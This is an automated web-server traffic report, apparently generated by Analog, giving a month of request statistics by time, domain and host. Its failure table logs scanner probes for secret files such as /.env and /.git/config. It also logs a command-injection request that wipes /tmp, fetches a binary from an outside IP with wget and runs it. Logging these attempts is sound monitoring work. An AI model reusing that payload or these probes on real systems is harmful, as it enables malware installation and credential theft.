Program started at Tue-28-Nov-2023 00:05.
Analysed requests from Sat-28-Oct-2023 00:22 to Mon-27-Nov-2023 22:45 (30.93 days).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report contains overall statistics.
Figures in parentheses refer to the 7-day period ending 28-Nov-2023 00:05.
Successful requests: 1,413 (298)
Average successful requests per day: 45 (42)
Successful requests for pages: 1,401 (293)
Average successful requests for pages per day: 45 (41)
Failed requests: 2,741 (386)
Distinct files requested: 17 (13)
Distinct hosts served: 855 (220)
Corrupt logfile lines: 7
Data transferred: 841.69 kilobytes (181.86 kilobytes)
Average data transferred per day: 27.21 kilobytes (25.98 kilobytes)
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each month.
Each unit () represents 30 requests for pages or part thereof.
month | reqs | pages | |
---|---|---|---|
Oct 2023 | 171 | 171 | ![]() ![]() |
Nov 2023 | 1242 | 1230 | ![]() ![]() ![]() |
Busiest month: Nov 2023 (1,230 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each week.
Each unit () represents 10 requests for pages or part thereof.
week beg. | reqs | pages | |
---|---|---|---|
22/Oct/23 | 35 | 35 | ![]() |
29/Oct/23 | 320 | 319 | ![]() |
5/Nov/23 | 320 | 317 | ![]() |
12/Nov/23 | 331 | 330 | ![]() ![]() |
19/Nov/23 | 338 | 332 | ![]() ![]() |
26/Nov/23 | 69 | 68 | ![]() ![]() ![]() |
Busiest week: week beginning 19/Nov/23 (332 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each day.
Each unit () represents 2 requests for pages or part thereof.
date | reqs | pages | |
---|---|---|---|
28/Oct/23 | 35 | 35 | ![]() ![]() |
29/Oct/23 | 48 | 48 | ![]() ![]() |
30/Oct/23 | 49 | 49 | ![]() ![]() ![]() |
31/Oct/23 | 39 | 39 | ![]() ![]() |
1/Nov/23 | 41 | 41 | ![]() ![]() ![]() |
2/Nov/23 | 58 | 57 | ![]() ![]() ![]() ![]() |
3/Nov/23 | 41 | 41 | ![]() ![]() ![]() |
4/Nov/23 | 44 | 44 | ![]() ![]() ![]() |
5/Nov/23 | 47 | 47 | ![]() ![]() |
6/Nov/23 | 52 | 51 | ![]() ![]() ![]() |
7/Nov/23 | 55 | 53 | ![]() ![]() ![]() ![]() |
8/Nov/23 | 42 | 42 | ![]() ![]() ![]() |
9/Nov/23 | 40 | 40 | ![]() ![]() |
10/Nov/23 | 42 | 42 | ![]() ![]() ![]() |
11/Nov/23 | 42 | 42 | ![]() ![]() ![]() |
12/Nov/23 | 65 | 65 | ![]() ![]() |
13/Nov/23 | 36 | 36 | ![]() ![]() |
14/Nov/23 | 38 | 38 | ![]() ![]() ![]() |
15/Nov/23 | 45 | 45 | ![]() ![]() ![]() ![]() |
16/Nov/23 | 46 | 46 | ![]() ![]() ![]() ![]() |
17/Nov/23 | 60 | 59 | ![]() ![]() ![]() ![]() |
18/Nov/23 | 41 | 41 | ![]() ![]() ![]() |
19/Nov/23 | 54 | 52 | ![]() ![]() ![]() |
20/Nov/23 | 55 | 55 | ![]() ![]() ![]() |
21/Nov/23 | 47 | 46 | ![]() ![]() ![]() ![]() |
22/Nov/23 | 54 | 54 | ![]() ![]() ![]() ![]() |
23/Nov/23 | 41 | 38 | ![]() ![]() ![]() |
24/Nov/23 | 41 | 41 | ![]() ![]() ![]() |
25/Nov/23 | 46 | 46 | ![]() ![]() ![]() ![]() |
26/Nov/23 | 30 | 29 | ![]() ![]() ![]() ![]() |
27/Nov/23 | 39 | 39 | ![]() ![]() |
Busiest day: 12/Nov/23 (65 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the total activity for each day of the week, summed over all the weeks in the report.
Each unit () represents 6 requests for pages or part thereof.
day | reqs | pages | |
---|---|---|---|
Sun | 244 | 241 | ![]() ![]() ![]() |
Mon | 231 | 230 | ![]() ![]() ![]() ![]() |
Tue | 179 | 176 | ![]() ![]() ![]() ![]() |
Wed | 182 | 182 | ![]() ![]() ![]() ![]() ![]() |
Thu | 185 | 181 | ![]() ![]() ![]() ![]() ![]() |
Fri | 184 | 183 | ![]() ![]() ![]() ![]() ![]() |
Sat | 208 | 208 | ![]() ![]() ![]() |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the total activity for each hour of the day, summed over all the days in the report.
Each unit () represents 2 requests for pages or part thereof.
hour | reqs | pages | |
---|---|---|---|
0 | 62 | 61 | ![]() ![]() ![]() ![]() ![]() |
1 | 69 | 69 | ![]() ![]() ![]() |
2 | 61 | 60 | ![]() ![]() ![]() ![]() |
3 | 66 | 66 | ![]() ![]() |
4 | 51 | 51 | ![]() ![]() ![]() |
5 | 46 | 45 | ![]() ![]() ![]() ![]() |
6 | 55 | 55 | ![]() ![]() ![]() |
7 | 43 | 42 | ![]() ![]() ![]() |
8 | 58 | 58 | ![]() ![]() ![]() ![]() |
9 | 66 | 62 | ![]() ![]() ![]() ![]() ![]() |
10 | 65 | 65 | ![]() ![]() |
11 | 52 | 52 | ![]() ![]() ![]() |
12 | 68 | 67 | ![]() ![]() |
13 | 39 | 38 | ![]() ![]() ![]() |
14 | 47 | 47 | ![]() ![]() |
15 | 66 | 66 | ![]() ![]() |
16 | 56 | 56 | ![]() ![]() ![]() |
17 | 53 | 53 | ![]() ![]() ![]() ![]() |
18 | 66 | 65 | ![]() ![]() |
19 | 43 | 43 | ![]() ![]() ![]() |
20 | 68 | 67 | ![]() ![]() |
21 | 80 | 80 | ![]() ![]() |
22 | 70 | 70 | ![]() ![]() ![]() |
23 | 63 | 63 | ![]() |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the countries of the computers which requested files.
Listing domains, sorted by the amount of traffic.
reqs | %bytes | domain |
---|---|---|
686 | 49.49% | [unresolved numerical addresses] |
427 | 29.92% | .com (Commercial) |
70 | 4.71% | [unknown domain] |
66 | 4.43% | .org (Non Profit Making Organisations) |
50 | 3.48% | .net (Networks) |
24 | 1.65% | .io (British Indian Ocean Territory) |
21 | 1.49% | .de (Germany) |
11 | 0.77% | .br (Brazil) |
8 | 0.57% | .ru (Russia) |
6 | 0.45% | [domain not given] |
6 | 0.42% | .cn (China) |
6 | 0.41% | .in (India) |
6 | 0.41% | .ir (Iran) |
5 | 0.31% | .us (United States) |
2 | 0.15% | .nl (Netherlands) |
2 | 0.14% | .jp (Japan) |
2 | 0.14% | .md (Moldova) |
2 | 0.14% | .th (Thailand) |
2 | 0.14% | .ua (Ukraine) |
1 | 0.07% | .pt (Portugal) |
1 | 0.07% | .info (Informational) |
1 | 0.07% | .vn (Vietnam) |
1 | 0.07% | .ee (Estonia) |
1 | 0.07% | .bg (Bulgaria) |
1 | 0.07% | .hu (Hungary) |
1 | 0.07% | .ca (Canada) |
1 | 0.07% | .tr (Turkey) |
1 | 0.07% | .al (Albania) |
1 | 0.07% | .ke (Kenya) |
1 | 0.07% | .it (Italy) |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the organisations of the computers which requested files.
Listing the top 20 organisations by the number of requests, sorted by the number of requests.
reqs | %bytes | organisation |
---|---|---|
96 | 6.59% | googleusercontent.com |
70 | 4.71% | [unknown domain] |
62 | 4.25% | ahrefs.com |
61 | 4.18% | censys-scanner.com |
58 | 3.96% | amazonaws.com |
44 | 2.91% | internet-census.org |
42 | 2.86% | linodeusercontent.com |
36 | 2.47% | 67.217 |
33 | 2.29% | 205.210 |
33 | 2.30% | 198.235 |
24 | 1.65% | io |
21 | 1.45% | 104 |
20 | 1.37% | 167.94 |
17 | 1.18% | googlebot.com |
17 | 1.28% | 185.36 |
16 | 1.17% | poppopprision.com |
16 | 1.10% | shadowserver.org |
15 | 1.07% | your-server.de |
15 | 1.07% | 36 |
15 | 1.04% | 117 |
702 | 51.10% | [not listed: 275 organisations] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the computers which requested files.
Listing the top 50 hosts by the number of requests, sorted alphabetically.
reqs | %bytes | host |
---|---|---|
7 | 0.48% | 2.56.247.167 |
11 | 0.83% | 4.227.184.194 |
5 | 0.35% | 36.111.67.189 |
5 | 0.34% | 60.217.75.70 |
36 | 2.47% | 67.217.57.54 |
5 | 0.35% | 74.50.84.203 |
7 | 0.50% | 83.97.73.87 |
4 | 0.27% | 104.28.155.227 |
10 | 0.66% | 104.156.155.31 |
4 | 0.28% | 106.227.49.113 |
4 | 0.29% | 109.205.213.94 |
5 | 0.35% | 110.166.71.39 |
14 | 1.05% | 141.98.11.60 |
4 | 0.27% | 167.94.145.51 |
4 | 0.27% | 167.94.146.51 |
4 | 0.28% | 182.42.104.32 |
5 | 0.35% | 182.44.9.147 |
17 | 1.28% | 185.36.81.33 |
5 | 0.35% | 203.33.203.148 |
11 | 1.13% | 216.244.66.197 |
6 | 0.42% | 223.244.35.77 |
5 | 0.35% | 242.240.187.123.broad.ly.ln.dynamic.163data.com.cn |
4 | 0.28% | ec2-13-40-101-0.eu-west-2.compute.amazonaws.com |
4 | 0.28% | ec2-100-21-24-205.us-west-2.compute.amazonaws.com |
8 | 0.55% | scanner-05.ch1.censys-scanner.com |
12 | 0.82% | scanner-06.ch1.censys-scanner.com |
5 | 0.34% | scanner-07.ch1.censys-scanner.com |
6 | 0.41% | scanner-08.ch1.censys-scanner.com |
14 | 0.96% | scanner-25.ch1.censys-scanner.com |
4 | 0.27% | scanner-26.ch1.censys-scanner.com |
8 | 0.55% | scanner-27.ch1.censys-scanner.com |
4 | 0.30% | 107-172-16-251-host.colocrossing.com |
6 | 0.45% | 32.248.140.34.bc.googleusercontent.com |
6 | 0.45% | 216.6.78.34.bc.googleusercontent.com |
4 | 0.27% | 172-143-197-169.clients.gthost.com |
4 | 0.28% | scan018.intrinsec.com |
12 | 0.80% | 139-144-52-241.ip.linodeusercontent.com |
12 | 0.80% | 172-104-4-17.ip.linodeusercontent.com |
16 | 1.17% | livehh.poppopprision.com |
7 | 0.48% | mci1.sandylizardhosting.com |
6 | 0.45% | static.190.81.55.162.clients.your-server.de |
4 | 0.27% | static.208.254.107.91.clients.your-server.de |
4 | 0.20% | 51-158-37-190.rev.poneytelecom.eu |
5 | 0.31% | sh-ams-nl-gp6-wk108.internet-census.org |
6 | 0.38% | sh-phx-us-gp6-wk104.internet-census.org |
5 | 0.31% | zl-lax-us-gp6-wk115.internet-census.org |
6 | 0.42% | internettl.org |
6 | 0.42% | vm1564919.stark-industries.solutions |
4 | 0.28% | service-node-8.odinn.tech |
4 | 0.28% | ip123.ip-135-148-183.us |
1049 | 74.24% | [not listed: 805 hosts] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the referrers (where people followed links from, or pages which included this site's images).
Listing referring URLs with at least 20 requests, sorted by the number of requests.
reqs | URL |
---|---|
26 | [not listed: 9 URLs] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the directories from which files were requested. (The figures for each directory include all of its subdirectories.)
Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.
reqs | %bytes | directory |
---|---|---|
1381 | 95.87% | [root directory] |
25 | 3.77% | /images/ |
3 | 0.22% | https:// |
4 | 0.13% | /icons/ |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the files that caused failures, for example files not found.
Listing the top 30 files by the number of failed requests, sorted by the number of failed requests.
reqs | file |
---|---|
266 | /x16/x03/x01 |
154 | /robots.txt |
149 | /favicon.ico |
126 | /.env |
44 | * |
39 | google.com:443 |
34 | /boaform/admin/formLogin |
28 | /geoserver/web/ |
24 | /api/index.php/v1/config/application |
24 | /api/index.php/v1/config/application?public=true |
24 | /shell |
15 | /shell?cd+/tmp;rm+-rf+*;wget+91.92.243.35/jaws;sh+/tmp/jaws |
22 | /.git/config |
21 | /sitemap.xml |
19 | /x16/x03/x01/x01H/x01 |
18 | /x16/x03/x01/x01/xfd/x01 |
17 | /.well-known/security.txt |
17 | /x03 |
16 | /marketing/marketing_internet.html |
16 | /wp-login.php |
11 | /xmlrpc.php |
8 | /style.php |
8 | /actuator/gateway/routes |
8 | /proc/ |
7 | / |
7 | /cf_scripts/scripts/ajax/ckeditor/ckeditor.js |
7 | /x16/x03/x01/x02 |
7 | /aab8 |
7 | /1.php |
7 | /ads.txt |
7 | /fm1.php |
7 | /sitemap.txt |
1595 | [not listed: 914 files] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the files on the site.
Listing files with at least 20 requests, sorted by the number of requests.
reqs | %bytes | last time | file |
---|---|---|---|
1381 | 95.87% | 27/Nov/23 22:45 | / |
32 | 4.13% | 27/Nov/23 08:41 | [not listed: 5 files] |